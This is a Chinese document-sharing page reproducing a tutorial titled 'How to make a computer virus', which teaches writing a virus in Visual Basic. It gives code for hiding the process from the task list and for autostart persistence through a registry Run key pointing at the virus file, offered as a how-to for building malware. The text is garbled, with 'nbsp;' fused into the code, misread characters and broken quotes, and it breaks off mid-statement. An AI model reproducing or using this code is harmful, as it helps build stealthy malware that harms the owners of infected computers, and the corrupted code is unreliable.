资源描述:
《如何制作电脑病毒方法》由会员上传分享,免费在线阅读,更多相关内容在行业资料-天天文库。
1、如何制作电脑病毒方法电脑病毒制作方法介绍:所以自从第一个病毒问世以来,它便被人们视为一种神秘的东西。但是,我们要知道。病毒也是程序,也是由人写出来的。所以,病毒并不是什么高不可攀的东西。现在,让我们了解一下VB制作病毒的原理。首先,病毒是有隐藏性的。如何来实现病毒的隐藏是很多年来的热点话题。我们先不接触什么线程插入技术。我们要实行自我隐藏,就要用到API函数。其代码如下:Publicnbsp;Declarenbsp;Functionnbsp;GetCurrentProcessidnbsp;Libnbsp;"kernel32“nbsp;
2、nbsp;Asnbsp;LongPublicnbsp;Declarenbsp;Functionnbsp;RegisterServiceProcessnbsp;Libnbsp;"kernel32"nbsp;ByValnbsp;dwProcessIDnbsp;Asnbsp;Long,nbsp;ByValnbsp;dwTypenbsp;Asnbsp;LongPublicnbsp;Constnbsp;RSP_SIMPLE_SERVICEnbsp;=nbsp;lPublicnbsp;Constnbsp;RSP_UNREGISTER_SERVIC
3、Enbsp;=nbsp;OPublicnbsp;Subnbsp;MakeMeServiceDimnbsp;pidnbsp;Asnbsp;LongDimnbsp;reserynbsp;Asnbsp;Longpidnbsp;=nbsp;GetCurrentProcessidregservnbsp;=nbsp;RegisterServiceProcesspid,nbsp;RSP_SIMPLE.SERVICEEndnbsp;Sub这样就实现了自我隐藏。还有别的什么App.Titlenbsp;=nbsp;""和App.TaskVisiblenb
4、sp;=nbsp;False都可以用于VB病毒的隐藏。病毒光会隐藏还不行,还要有常驻内存的能力。说通俗点,计算机关闭病毒也就跟着死去,而计算机重启,病毒也要跟这复活。所以,我们接下来的任务就是:实现病毒的开机自启。了解病毒的朋友会知道,病毒一般是利用在注册表中插入相应键值来实现开机自启的。所以,我们就要利用编程来实现着一功能。读写注册表要用到API函数,代码:Privatenbsp;Declarenbsp;Functionnbsp;RegCreateKeynbsp;Libnbsp;advapi32.dll”nbsp;Aliasnbsp
5、;"RegCreateKeyA"nbsp;ByValnbsp;hKeynbsp;Asnbsp;Long,nbsp;ByVainbsp;IpSubKeynbsp;Asnbsp;String,nbsp;phkResultnbsp;Asnbsp;Longnbsp;Asnbsp;LongPrivatenbsp;Declarenbsp;Functionnbsp;RegCloseKeynbsp;Libnbsp;uadvapi32.dll"nbsp;ByValnbsp;hKeynbsp;Asnbsp;Longnbsp;Asnbsp;LongPriv
6、atenbsp;Declarenbsp;Functionnbsp;RegSetValueExnbsp;Libnbsp;uadvapi32.dllunbsp;Aliasnbsp;RegSetValueExA”nbsp;ByValnbsp;hKeynbsp;Asnbsp;Long,nbsp;ByValnbsp;1pva1ueNamenbsp;Asnbsp;String,nbsp;ByValnbsp;Reservednbsp;Asnbsp;Long,nbsp;ByValnbsp;dwTypenbsp;Asnbsp;Long,nbsp;IpD
7、atanbsp;Asnbsp;Any,nbsp;ByValnbsp;cbDatanbsp;Asnbsp;Longnbsp;Asnbsp;Long上述是API声明。病毒的开机自启就是在RUN下建立一个启动项,代码:Dimnbsp;hKeynbsp;Asnbsp;LongDimnbsp;ccLetnbsp;ccnbsp;=nbsp;Len,'病毒的绝对路径“RegCreateKeynbsp;HKEY_L0CAL_MACHINE,nbsp;"SoftwareMicrosoftWindowsCurrentVersionRunservicesu
8、,nbsp;HKeyRegSetValueExnbsp;hKey,nbsp;“键名",nbsp;0,nbsp;REG_SZ,nbsp;ByValnbsp病毒的绝对路径u,nbsp;ccRegCloseKeynbsp;hK